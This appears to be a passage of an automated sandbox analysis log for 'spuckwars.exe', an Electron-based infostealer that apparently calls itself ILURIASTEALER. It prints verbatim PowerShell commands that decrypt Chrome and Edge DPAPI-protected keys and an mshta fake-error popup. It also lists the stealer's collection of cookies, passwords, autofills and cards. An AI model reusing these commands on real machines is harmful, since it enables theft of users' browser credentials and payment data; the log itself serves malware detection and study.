Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()""Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklistJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaegaaaaaaaaasaaaaaaaaaayaaaaagaaabaaaaaaaaaagaaaaaaaaaaqaaaaaaaaaaaaaaaoaaaaeaaaaaaaaaabaaaadgaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1624 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --mojo-platform-channel-handle=2024 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'currentuser')"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'currentuser')
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'currentuser')"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'currentuser')
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaegaaaaaaaaasaaaaaaaaaayaaaaagaaabaaaaaaaaaagaaaaaaaaaaqaaaaaaaaaaaaaaaoaaaaeaaaaaaaaaabaaaadgaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1624 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --mojo-platform-channel-handle=2024 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'currentuser')"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'currentuser')"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'currentuser')Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'currentuser')Jump to behavior
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: ..\..\electron\shell\browser\ui\views\electron_views_delegate_win.ccGetAppbarAutohideEdgesShell_TrayWnd
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\resources VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\resources\app.asar VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ILURIASTEALER VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ILURIASTEALER\cookies.zip VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ILURIASTEALER\cookies.zip VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Passwords.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Passwords.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Autofills.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Autofills.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Cards.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Cards.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\AIXACVYBSB.docx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\AIXACVYBSB.docx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\BPMLNOBVSB.mp3 VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\desktop.ini VolumeInformationJump to behavior
